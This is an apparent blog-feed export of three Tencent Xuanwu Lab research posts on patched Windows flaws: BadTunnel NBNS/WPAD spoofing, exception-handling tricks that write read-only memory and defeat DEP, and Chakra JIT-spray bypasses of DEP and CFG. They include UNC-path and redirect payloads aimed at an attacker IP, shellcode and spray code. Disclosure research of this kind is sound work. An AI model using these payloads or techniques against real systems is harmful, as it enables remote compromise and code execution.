tombkeeper – Tencent's Xuanwu Lab http://xlab.tencent.com/en Wed, 21 Dec 2016 08:35:57 +0000 en-US hourly 1 https://wordpress.org/?v=4.6 BadTunnel – A New Hope http://xlab.tencent.com/en/2016/06/17/badtunnel-a-new-hope/ Fri, 17 Jun 2016 08:20:27 +0000 http://xlab.tencent.com/en/?p=88 Continue reading "BadTunnel – A New Hope"]]>

This article purposes a new attack model to hijack TCP/IP broadcast protocol across different network segment, named “BadTunnel”.

With this method, NetBIOS Name Service Spoofing can be achieved, regardless of the attacker and the victim is on the same or different network, the firewalls and NAT devices in between. All it need is the victim navigate to a malicious web page with IE or Edge, or open a specially crafted document, and the attacker can hijack the victim’s NetBIOS name query to spoof as print server or file server in the local network.

By hijacking the WAPD name, the attacker can hijack all network communications, including but not limited to usual web accesses, Windows Update service and Microsoft Crypto API Certificate revocation list updates. Once the hijack is successful, it is easy to achieve arbitrary execution of program on the target system by using Evilgrade [1].

This method is effective on all Windows versions before the June 2016 patch, and can be exploited through all Internet Explorer, Microsoft Edge, and Microsoft Office versions, and can also be exploited through third-party applications. In fact, BadTunnel attack can be conducted on anywhere that a file URI scheme or UNC path can be embedded. For example, if a shortcut’s icon path is pointed to the malicious file URI scheme or UNC path, the BadTunnel attack can be triggered at the moment the user sees it in the Windows Explorer, which means BadTunnel can also be exploited through web pages, emails, USB flash drives and many other ways. It can even impact Web servers and SQL servers [2].

(This article does not include all contents covered by the BadTunnel research, the remaining part will be released in my presentation “BadTunnel: How do I get Big Brother power” on BlackHat US 2016.)

0x00 Background

NetBIOS is an ancient protoco. In 1987, IETF released RFC 1001 and RFC 1002, which defined NetBIOS over TCP/IP or NBT for short. NetBIOS includes three services, among them the Name service NetBIOS-NS, or NBNS for short. NBNS can resolve local names by broadcasting in the LAN.

When trying to access \\Tencent\Xuanwu\Lab\tk.txt, NBNS will send a NBNS NB query to the broadcast address:

Who is “Tencent”?

Any host in LAN can respond to this request:

“Tencent” is at 192.168.2.9.

Then the victim’s computer will accept this response and tries to access \\192.168.2.9\XuanwuLab\tk.txt.

This mechanism is definitely not safe, but since LAN is usually treated as trusted network, this spoofing possibility is not considered as vulnerability – just like the ARP Spoofing.

WPAD (Web Proxy Auto-Discovery Protocol) is another ancient protocol with over 20 years of history. As the name suggests, it is used for automatically discover and configure system proxy. Almost all operating systems support WPAD, but only Windows enable it by default. According to this protocol, Windows tries to resolve the name http://WPAD/wpad.dat to retrieve proxy configuration script.

On Windows, the name “WPAD” is resolved by NBNS. As previously stated, any host can claim it is “WPAD” in a LAN. This is not secure but acceptable since the LAN is considered trusted network environment. Although WPAD hijacking has been found more than a decade ago and used by the Flame worm, it is not considered as security vulnerability – just like the ARP Spoofing.

NBNS is implemented on top of the UDP protocol, which is a stateless protocol. Firewalls, NAT devices and other network devices cannot distinguish which session the UDP packet belongs to, so they must allow the UDP packet on both directions.

NBNS name query uses the broadcast protocol, but like most other broadcast protocols, NBNS accept responses from outside the network segment. Which means, if 192.168.2.2 sends a request to 192.168.2.255, but 10.10.10.10 responds in time, the response will be accepted by 192.168.2.2. In some enterprise networks, this is required by the network topology.

0x01 Implementation

If we could send a fake response from outside the network segment when the name query is performed by the NBNS, it can still be accepted. Therefore, NBNS Spoofing across different network segment is possible, but with a few problems:

  1. Most hosts have firewall enabled, which makes it impossible to send data to the host. Even if there is no firewall, there is no way to directly send data from internet to intranet. Does that mean we can only do NBNS Spoofing to these systems that have public IP address and no firewall enabled?
  2. There is a DNS protocol look-alike encapsulated within the NBNS protocol, so it also includes a Transaction ID. Only packets with matching Transaction IDs are accepted.
  3. How do we know when to send the NBNS Spoofing packet, if the host outside the LAN cannot receive the NBNS NB query broadcast?

Fortunately, all these problems can be solved.

First, the Windows operating system only uses 137/UDP port for NBNS. “Only” means that the source and target ports are always 137/UDP. If an intranet host 192.168.2.2 is sending NBNS request to 10.10.10.10, it will look like this:

192.168.2.2:137 -> NAT:54231 -> 10.10.10.10:137

The response from 10.10.10.10 will look like this:

192.168.2.2:137 <- NAT:54231 <- 10.10.10.10:137

That is, the local firewalls on 192.168.2.2 or NAT, or any other intermediate network devices, must allow any UDP packet from 10.10.10.10:137 to 192.168.2.2:137 to pass through in a certain amount of time, if it allows the query at all. This opens up a dual direction UDP tunnel, hence the name BadTunnel:

192.168.2.2:137 <-> NAT:54231 <-> 10.10.10.10:137

One quick experiment to help you understand this tunnel:

Prepare two systems with firewall enabled, with IP address set to 192.168.2.2 and 192.168.3.3, respectively.

On 192.168.2.2, execute command “nbtstat -A 192.168.3.3”, it will fail.

On 192.168.3.3, execute command “nbtstat -A 192.168.2.2”, it will success.

On 192.168.2.2, execute “nbtstat -A 192.168.3.3” once again, it will success.

How can we make 192.168.2.2 send a NBNS request to 10.10.10.10? When Windows is trying to access a file URI scheme or UNC path with IP address, if the 139 and 445 port of the target is inaccessible – either timed out or been reset– the system will send a NBNS NBSTAT query to this IP address. There are numerous ways to make a system access a file URI scheme or UNC path.

The Microsoft Edge and Internet Explorer both try to resolve the file URI scheme or UNC path in the web page:

<img src=”\\10.10.10.10\BadTunnel”>

All types of Microsoft Office documents can have embedded file URI scheme or UNC path, the same is true for many third-party document types.

If we have a shortcut with icon path point to a UNC path, this UNC path is accessed once the shortcut is shown on the screen.

If the target is a web server, maybe only one HTTP request is needed:

http://web.server/reader.aspx?ID=\10.10.10.10\BadTunnel

The NBNS Transaction ID is not random but incremental. As we have noted previously, the NBNS sends a NBNS NB query when resolving a name; the system sends a NBNS NBSTAT query when failing to access a file URI scheme or UNC path. NBNS NB query and NBNS NBSTAT query not only uses the same 137/UDP port, but also shares the same Transaction ID counter. That is, when 192.168.2.2 fails to access \\10.10.10.10\BadTunnel, the NBNS NBSTAT query it send to 10.10.10.10 not only opens up a dual direction UDP tunnel, but also leaks the Transaction ID value to 10.10.10.10.

That is, a single NBNS NBSTAT query solved both problem 1 and 2. And the third problem is even easier to solve. Just like we can embed <img src=”\\10.10.10.10\BadTunnel”> in our web page, we can also embed:

<img src=”http://WPAD/wpad.dat” >

In this way, we can control the time the system sends the NBNS NB query to WPAD, so we can craft our response in time. Finally the system will cache the response to http://WPAD/wpad.dat in its web cache. Later, when the system is requesting http://WPAD/wpad.dat to set proxy configuration, it will retrieve from the web cache. At least for Windows 7, the spoofed http://WPAD/wpad.dat will persist after reboots, just like other web resources.

Even if Web cache is not in place, the NBNS has its own caching mechanism. With one successful NBNS Spoofing, the spoofed response will be cached for 10 minutes:

In the next 10 minutes the operating system itself will also try to resolve the WPAD name and access http://WPAD/wpad.dat to download proxy configurations, so it will get the spoofed response. Once the attacker has successfully hijacked the user’s network flow, he can periodically redirect certain HTTP requests to make the BadTunnel attack persistent:

HTTP/1.1 302 Found
Content-Type: text/html
Location: file://10.10.10.10/BadTunnel
Content-Length: 0

0x02 Conclusion

The BadTunnel attack described in this article is a serious security problem, and the root cause is not obvious to find. The following dependencies are required for the attack to be successful:

  1. UDP protocol is connectionless.
  2. Broadcast requests can accept response from outside the network segment.
  3. WPAD is enabled by default on Windows.
  4. Windows file APIs supports UNC path by default.
  5. When Windows fails to access a UNC path by connecting to 139 and 445 ports, a NBNS NBSTAT query will be performed.
  6. NBNS always uses the same port on the client and server side.
  7. NBNS Transaction ID uses a counter rather than a RNG.
  8. NBNS NBSTAT query and NBNS NB query shares the same counter.
  9. WPAD shares the same Web and NBNS cache with other applications in the system.

These designs do not seem to be a problem independently; some are even required. We certainly can’t blame UDP for connectionless. Even the NBNS Transaction ID is not randomly generated, this alone does not become security vulnerability. The NBNS NB mechanism was designed for the intranet, and any host in the intranet can receive the NBNS NB query broadcast packets. However, although seems not to be a problem independently, they become a massive vulnerability when work collaboratively. How can we find the next BadTunnel?

0x03 Mitigation Recommendations

Even if the MS16-063 and MS16-077 patch cannot be installed immediately, there are workarounds that can stop the BadTunnel attack.

For enterprises, they can drop the 137/UDP packets on perimeter firewalls.

For end users that do not need to access Windows network sharing services, NetBIOS over TCP/IP can be disabled:

For minimal compatibility impact, WPAD address can be pinned to 127.0.0.1 in %SystemRoot%System32driversetchosts, or the automatic proxy discovery can be disabled to prevent hijacking:

However, BadTunnel is not limited to WPAD, and this does not stop hijacking of other names.

0x04 A Little Disappointment

Using BadTunnel to hijack WPAD is possibly the Windows vulnerability that has the widest impact and most exploit channels in the history. It is also the only vulnerability that can target all versions of Windows with one exploit. It could have been more interesting.

Apple’s Mac OS also implemented NetBIOS, and supports UNC path in some cases. WPAD can also be manually enabled on it. However, due to the difference in the implementation details of NetBIOS protocol, this attack does not affect the Mac OS – it would be much cooler otherwise.

0x05 Refrences

[1] Evilgrade
https://github.com/infobyte/evilgrade/

[2] 10 Places to Stick Your UNC Path
https://blog.netspi.com/10-places-to-stick-your-unc-path/

[3] Web Proxy Auto-Discovery Protocol
http://tools.ietf.org/html/draft-ietf-wrec-wpad-01

[4] NetBIOS Over TCP/IP
https://technet.microsoft.com/en-us/library/cc940063.aspx

[5] Disable WINS/NetBT name resolution
https://technet.microsoft.com/en-us/library/cc782733(v=ws.10).aspx

[6] MS99-054, CVE-1999-0858
https://technet.microsoft.com/en-us/library/security/ms99-054.aspx

[7] MS09-008, CVE-2009-0093, CVE-2009-0094
https://technet.microsoft.com/en-us/library/security/ms09-008.aspx

[8] MS12-074, CVE-2012-4776
https://technet.microsoft.com/en-us/library/security/ms12-074.aspx

[9] MS16-063, CVE-2016-3213
https://technet.microsoft.com/en-us/library/security/ms16-063.aspx

[10] MS16-077, CVE-2016-3213, CVE-2016-3236
https://technet.microsoft.com/en-us/library/security/ms16-077.aspx

]]>
Exceptions in Exceptions – Abusing Special Cases in System Exception Handling to Achieve Unbelievable Vulnerability Exploitation http://xlab.tencent.com/en/2016/04/19/exception-in-exception/ Tue, 19 Apr 2016 08:21:21 +0000 http://xlab.tencent.com/en/?p=86 Continue reading "Exceptions in Exceptions – Abusing Special Cases in System Exception Handling to Achieve Unbelievable Vulnerability Exploitation"]]>

Memory Read / Write / Execute attributes are one of the most important part of system security. Usually it is mandatory to have writable attribute set before overwriting a block of memory, and executable attribute set before executing code in a block of memory, otherwise an exception is generated. However, there are some special cases in the Windows exception handling procedure that we can take advantage of. By abusing such exceptions, we could write to the unwritable, and execute the unexecutable.

0x01 Directly modify read-only memory locations

In my CanSecWest 2014 talk “ROPs are for the 99%” I introduced an interesting technique – by modifying some flag in JavaScript objects, we can disable the safe mode and let Internet Explorer (IE) load dangerous objects such as WScript.Shell, and execute arbitrary code without worrying about the DEP.

Modifying SafeMode flag isn’t the only way to let IE load dangerous objects.

Some parts of IE are actually implemented in HTML. These HTML code are usually stored in the resource section of ieframe.dll. for example, the print preview page is in res://ieframe.dll/preview.dlg, organize favorites page is in res://ieframe.dll/orgfav.dlg, page properties page is in res://ieframe.dll/docppg.ppg, and so on.

IE will create separate renderer and JavaScript engine instances for these HTML, but the SafeMode is disabled by default in these new JavaScript engine instances.

Therefore, we only need to insert our JavaScript code into the resource section of ieframe.dll, and trigger the corresponding IE functionality, the code will be executed as if it is part of the IE functionality in a SafeMode disabled JavaScript engine instance.

But the resource section of the PE file is read-only. If we use a write-what-where vulnerability to modify the resource of ieframe.dll, an access violation exception is generated:

eax=00000041 ebx=1e2e31b0 ecx=00000000 edx=00000083 esi=1e2e31b0 edi=68b77fe5
eip=69c6585f esp=0363ac00 ebp=0363ac84 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
jscript9!Js::JavascriptOperators::OP_SetElementI+0x117:
69c6585f 88040f          mov     byte ptr [edi+ecx],al      ds:002b:68b77fe5=76
0:008> !exchain
0363b0f0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363b648: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bab8: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bb78: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+28c0 (69c71564)
0363bbc0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+2898 (69c7150f)
0363bc44: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+276a (69d0dedd)
0363c588: MSHTML!_except_handler4+0 (66495fa4)
  CRT scope  0, filter: MSHTML! ... Omitted... (6652bbe8) 
                func:   MSHTML!... Omitted... (6652bbf1)
0363c62c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, func:   user32!UserCallWinProcCheckWow+123 (75664456)
0363c68c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, filter: user32!DispatchMessageWorker+15e (756659b7)
                func:   user32!DispatchMessageWorker+171 (756659ca)
0363f9a8: ntdll!_except_handler4+0 (776a71f5)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (776a74d0)
                func:   ntdll!__RtlUserThreadStart+63 (776a90eb)
0363f9c8: ntdll!FinalExceptionHandler+0 (776f7428)

In the above exception handler chain, the exception handler in mshtml.dll will call kernel32!RaiseFailFastException(). If g_fFailFastHandlerDisabled is set to false, the process will be terminated:

int __thiscall RaiseFailFastExceptionFilter(int this) {
  signed int **v1; // esi@1
  CONTEXT *v2; // ST04_4@2
  signed int v3; // eax@2
  UINT v4; // ST08_4@4
  HANDLE v5; // eax@4

  v1 = (signed int **)this;
  if ( !g_fFailFastHandlerDisabled )
  {
    v2 = *(CONTEXT **)(this + 4);
    g_fFailFastHandlerDisabled = 1;
    RaiseFailFastException(*(PEXCEPTION_RECORD *)this, v2, 2u);
    v3 = 1653;
    if ( *v1 )
      v3 = **v1;
    v4 = v3;
    v5 = GetCurrentProcess();
    TerminateProcess(v5, v4);
  }
  return 0;
}

However, if g_fFailFastHandlerDisabled is set to true, the exception handling chain will call into kernel32!UnhandledExceptionFilter(), and finally kernel32!CheckForReadOnlyResourceFilter():

int __stdcall CheckForReadOnlyResourceFilter(int a1) {
  int result; // eax@2

  if ( BasepAllowResourceConversion )
    result = CheckForReadOnlyResource(a1, 0);
  else
    result = 0;
  return result;
}

If BasepAllowResourceConversion is also true, CheckForReadOnlyResource() will set the target page to writable, and return normally.

That is, if we first modify g_fFailFastHandlerDisabled and BasepAllowResourceConversion flag to true, we can then directly modify the resource in ieframe.dll without worrying about read-only attributes, the operating system will take care of it for us.

Another small obstacle. Once page attribute modification is triggered in CheckForReadOnlyResource(), the RegionSize of the memory attribute will also be change to one page size, usually 0x1000. Before IE create renderer instances with HTML resources in ieframe.dll, mshtml!GetResource() checks if the RegionSize attribute is larger than the size of the resource, and fails otherwise. The solution is to completely overwrite the resource from start to end, the RegionSize will increase accordingly and the check is therefore bypassed.

We now have a surreal exploit thanks to the special case for PE resource section in Windows write exception.

0x02 Executing the unexecutable memory locations

In my VARA 2009 talk “Time Factors in Vulnerability Hunting” I introduced a rare module address use-after-free vulnerability. For example, Thread A calls a function in module X, module X in turn calls a time consuming function in module Y. if thread B unloads module X before the function call returns, the return address is invalid when the function call returns. I found such problems in Flash module of the Opera browser at that time. One of the download managers also had similar problems.

Some other vulnerability categories also exhibit similar properties – execution is possible but the address is not controllable. In environments without DEP, these kind of vulnerabilities are not hard to exploit – we only need to spray the code to the target address. But with DEP enabled, these vulnerabilities are usually considered unexploitable.

But if we spray the target address with the following data:

typedef struct _THUNK3 {
    UCHAR MovEdx;       // 0xba         mov edx, imm32
    LONG EdxImmediate; 
    UCHAR MovEcx;       // 0xb9         mov ecx, imm32
    LONG EcxImmediate; // <- put your Stack Pivot here
    USHORT JmpEcx;      // 0xe1ff       jmp ecx
} Thunk3;

With DEP enabled, the target memory location is no doubt unexecutable, but surprisingly the system seems still executed these instructions, and jumped to the location in ecx. We only need to set ecx to jump to arbitrary memory location and execute the ROP chain.

For compatibility reasons, Windows implemented a mechanism called ATL thunk emulation. When the Windows kernel is handling execution exceptions, it checks if the exception address looks like a ATL thunk. If so, the kernel emulate its execution with KiEmulateAtlThunk() routine.

There are some limitations. ATL thunk emulation checks if the target address is within a PE file, and CFG checks are also enforced on supported systems. After Windows Vista, ATL thunk emulation only applies to applications compiled without IMAGE_DLLCHARACTERISTICS_NX_COMPAT under default DEP policy. If /NXCOMPAT is specified in compiler flag, the ATL thunk emulation is no longer supported. But there are still a lot of programs that does support the ATL thunk emulation, as seen in many third party application, and 32-bit iexplore.exe. Vulnerability such as CVE-2015-2425 in Hacking Team leaked emails is also exploitable with this technique if a heap spray is successful.

By abusing the ATL thunk emulation in system exception handling procedure, we make the unexcutable executable again, and bring some unexploitable vulnerabilities back to life.

Majority of this article was written in October 2014. Module addresses and symbol information were from Windows Technical Preview 6.4.9841 x64 with Internet Explorer 11.

References:

[1] ROPs are for the 99%, CanSecWest 2014, Yang Yu
[2] Bypassing Browser Memory Protections
[3] (CVE-2015-2425) “Gifts” From Hacking Team Continue, IE Zero-Day Added to Mix
[4] Time Factors in Vulnerability Hunting,VARA 2009

]]>
Bypass DEP and CFG using JIT compiler in Chakra engine http://xlab.tencent.com/en/2015/12/09/bypass-dep-and-cfg-using-jit-compiler-in-chakra-engine/ Wed, 09 Dec 2015 05:19:41 +0000 http://xlab.tencent.com/en/?p=80 Continue reading "Bypass DEP and CFG using JIT compiler in Chakra engine"]]>

JIT Spray is a popular exploitation technique first appeared in 2010. It embeds shellcode as immediate value into the executable code the JIT compiler generates. Currently, all major JIT engine, including Chakra, already have many mitigations in place against this technique, such as random NOP instruction insertion, constant blinding, etc.

This article points out two weaknesses in Chakra’s JIT Spray mitigation (in Windows 8.1 and older operating systems, and Windows 10, respectively), allowing attackers to use JIT Spray to execute shellcode, bypassing DEP. I will also discuss a method to bypass CFG using Chakra’s JIT compiler.

0x01 Constant Blinding

Constant Blinding is the most important mitigation strategy against JIT Spray. Chakra engine use a randomly generated key to XOR every user inputted immediate value that is not 0x0000 or 0xFFFF, and decrypts it on the fly. For example, the following JavaScript:

...
a ^= 0x90909090;
a ^= 0x90909090;
a ^= 0x90909090;
...

Generates machine code like this:

...
096b0091 ba555593c5      mov     edx,0C5935555h
096b0096 81f2c5c50355    xor     edx,5503C5C5h
096b009c 33fa            xor     edi,edx
096b009e bab045edfb      mov     edx,0FBED45B0h
096b00a3 81f220d57d6b    xor     edx,6B7DD520h
096b00a9 33fa            xor     edi,edx
096b00ab baef85f139      mov     edx,39F185EFh
096b00b0 81f27f1561a9    xor     edx,0A961157Fh
096b00b6 33fa            xor     edi,edx
...

The immediate value in the resulting machine code is unpredictable, thus shellcode embedding is not possible.

0x02 Bypass Chakra’s Constant Blinding on Windows 8.1 or Older Operating Systems

Internally, for integer n, it is stored as n*2+1 by Chakra engine. When evaluating the expression n=n+m, it is not necessary to restore the original value of n before adding m, its result can be obtained by directly adding m*2 to n*2+1. Chakra engine on Windows 8.1 and older operating systems treat m*2 as self-generated data rather than user input, so constant blinding does not apply. For the following JavaScript code:

...
a += 0x18EB9090/2;
a += 0x18EB9090/2;
...

When some conditions are met, could generate machine code like this:

...
05010090 81c19090eb18    add     ecx,18EB9090h
05010096 0f80d6010000    jo      05010272
0501009c 8bf9            mov     edi,ecx
0501009e 8b5dbc          mov     ebx,dword ptr [ebp-44h]
050100a1 f6c301          test    bl,1
050100a4 0f8413020000    je      050102bd
050100aa 8bcb            mov     ecx,ebx
050100ac 81c19090eb18    add     ecx,18EB9090h
050100b2 0f8005020000    jo      050102bd
050100b8 8bf9            mov     edi,ecx
050100ba 8b5dbc          mov     ebx,dword ptr [ebp-44h]
050100bd f6c301          test    bl,1
050100c0 0f8442020000    je      05010308
050100c6 8bcb            mov     ecx,ebx
...
0:017> u 05010090 + 2 l 3
05010092 90              nop
05010093 90              nop
05010094 eb18            jmp     050100ae
0:017> u 050100ae l 3
050100ae 90              nop
050100af 90              nop
050100b0 eb18            jmp     050100ca

If we could make each instruction in our shellcode not larger than 2 bytes, it could be embedded in the immediate value. The actual immediate value is 2 times of the value in JavaScript, so the first byte must be an even number if we use a 2-byte instruction, which is not very hard to satisfy.

0x5854   // push esp--pop eax    ; eax = esp, make eax writeable
0x5252   // push edx--push edx   ; esp -= 8
0x016A   // push 1
0x4A5A   // pop  edx--dec edx    ; edx = 0
0x5E52   // push edx--pop esi    ; esi = 0
0x40B6   // mov  dh, 0x40        ; edx = 0x4000, NumberOfBytesToProtect
0x5452   // push edx--push esp   ; *esp = &NumberOfBytesToProtect
0x5B90   // pop  ebx             ; ebx = &NumberOfBytesToProtect
0x14B6   // mov  dh, 0x14
0x14B2   // mov  dl, 0x14
0x5266   // push dx
0x5666   // push si              ; *esp = 0x14140000
0x525A   // pop  edx-push edx    ; edx = 0x14140000
0x5E54   // push esp--pop  esi   ; esi = &BaseAddress, 
0x5454   // push esp--push esp   ; push &OldAccessProtection 
0x406A   // push 0x40            ; PAGE_EXECUTE_READWRITE
0x5390   // push ebx             ; push  &NumberOfBytesToProtect
0x5690   // push esi             ; push &BaseAddress
0xFF6A   // push -1              ; 
0x5252   // push edx--push edx   ; set ret addr
0x5290   // push edx             ; prepare esp for fs:[esi]
0x016A   // push 1
0x4A5A   // pop  edx--dec edx    ; edx = 0
0xC0B2   // mov  dl, 0xC0
0x5E52   // push edx--pop esi
0x5F54   // push esp--pop edi
0xA564   // movs dword ptr [edi], dword ptr fs:[esi] ; *esp = *(fs:0xC0)
0x4FB2   // mov  dl, 0x50        ; NtProtectVirtualMemory, Win8.1:0x4F, Win10:0x50
0x5290   // push edx
0xC358   // pop  eax--ret        ; ret to syscall

0x03 Bypass Chakra’s Constant Blinding on Windows 10

Chakra engine on Windows 10 does not suffer from this issue. But in order to generate highly optimized code, when writing to an integer array, the following JavaScript code:

var ar = new Uint16Array(0x10000);
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
...

Generates the following machine code:

...
0b8110e0 66c786909000009090 mov   word ptr [esi+9090h],9090h
0b8110e9 66c786909000009090 mov   word ptr [esi+9090h],9090h
0b8110f2 66c786909000009090 mov   word ptr [esi+9090h],9090h
0b8110fb 66c786909000009090 mov   word ptr [esi+9090h],9090h
...

To mitigate against JIT Spray, Chakra only allows user to control at most 2 bytes of immediate value. But in this specific situation, the array index and the value being written appear in one instruction. Now we can control 4 bytes instead of 2 bytes of data.

Previously discussed 2-byte shellcode can also be used here. Due to the additional 2-byte 0x00 (which will be interpreted as “add byte ptr[eax], al”), we need to make the eax point to a writable location in the first two instruction.

0x04 Using Chakra Engine to Bypass CFG

By using previously discussed methods, we can do a JIT Spray to bypass DEP, but the shellcode entry point address embedded in the JIT’d code obviously cannot pass the CFG check. But actually, there are implementation flaws in Chakra engine itself that can be exploited to bypass CFG.

There is a fixed entry point function that always gets generated regardless of the need of JIT of the currently executing JavaScript code:

0:017> uf 4ff0000
04ff0000 55          push  ebp
04ff0001 8bec        mov   ebp,esp
04ff0003 8b4508      mov   eax,dword ptr [ebp+8]
04ff0006 8b4014      mov   eax,dword ptr [eax+14h]
04ff0009 8b4840      mov   ecx,dword ptr [eax+40h]
04ff000c 8d4508      lea   eax,[ebp+8]
04ff000f 50          push  eax
04ff0010 b840cb5a71  mov   eax, 715acb40h ; jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>
04ff0015 ffe1        jmp   ecx

This function address can pass the CFG check. Also, before jmp ecx, there is no CFG check of the target address. This can be used as a trampoline for jumping to arbitrary address. We will call it “cfgJumper” hereafter.

0x05 Locating JIT Memory and cfgJumper

Locating the JIT compiled code and the cfgJumper are needed if we want to use JIT Spray to bypass DEP and use cfgJumper to bypass CFG. Interestingly, the method of locating both are almost identical.

Every JavaScript function has a corresponding Js::ScriptFunction object. Every Js::ScriptFunction object also includes a Js::FunctionBody object. Inside this Js::FunctionObject object, a function pointer to the actual function entry point is stored.

If a function is never called, this function pointer points to Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:

0:002> dc 0b89de70 l 8
0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@........... // Js::ScriptFunction
0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000  6ff6c970 70181720 00000001 00000000  p..o ..p........ // Js::FunctionBody
0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
0:002> u 70181720 l 1
Chakra!Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
70181720 55              push    ebp

If a function has been called before, but never compiled into JIT’d code, this function pointer points to cfgJumper:

0:002> dc 0b89de70 l 8
0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000  6ff6c970 00860000 00000001 00000000  p..o............
0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
0:002> u 00860000
00860000 55          push  ebp
00860001 8bec        mov   ebp,esp
00860003 8b4508      mov   eax,dword ptr [ebp+8]
00860006 8b4014      mov   eax,dword ptr [eax+14h]
00860009 8b4840      mov   ecx,dword ptr [eax+40h]
0086000c 8d4508      lea   eax,[ebp+8]
0086000f 50          push  eax
00860010 b800240870  mov   70082400h ; Chakra!Js::InterpreterStackFrame::InterpreterThunk
00860015 ffe1        jmp   ecx

If a function is regularly called and Chakra compiles it into JIT’d code, this function pointer points to the actual code:

0:002> d 0b89de70 l8
0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
0:002> d 0b8d0000 l8
0b8d0000  6ff6c970 00950000 00000001 00000000  p..o............
0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
0:002> u 00950000
00950000 55              push    ebp
00950001 8bec            mov     ebp,esp
00950003 81fc44c9120b    cmp     esp,0B12C944h
00950009 7f18            jg      00950023
0095000b 6a00            push    0
0095000d 6a00            push    0
0095000f 68e0c72c07      push    72CC7E0h
00950014 6844090000      push    944h

With understandings of the internal structure of Js::ScriptFunction and Js::FunctionBody, we could precisely locate the JIT’d code and the cfgJumper.

0x06 Avoiding Randomly Inserted NOP instructions

Other than constant blinding, Chakra engine also employs randomized NOP instruction insertion to mitigate JIT Spray. But the density of the insertion is rather low. Testing code combines 29 16-bit number to form a shellcode, only 29 x86 instructions are generated on Windows 10, with virtually no NOP instruction inserted in between. But in the exploitation method used on Windows 8.1 and older operating systems, about 200 x86 instruction are generated, and highly likely to contain NOP instructions.

To solve this problem:
1. Create a new script tag, put in a JavaScript function that contains JIT shellcode.
2. Call this function in a loop to trigger JIT compilation.
3. Read in compiled code to determine if there is any NOP instruction inserted.
4. If any, destroy the script tag and repeat this procedure.

Testing environments are Windows 8.1 with all updates till May 2015 and Windows 10 TP 9926.
Microsoft informed me that it has been fixed in September 2015.

]]>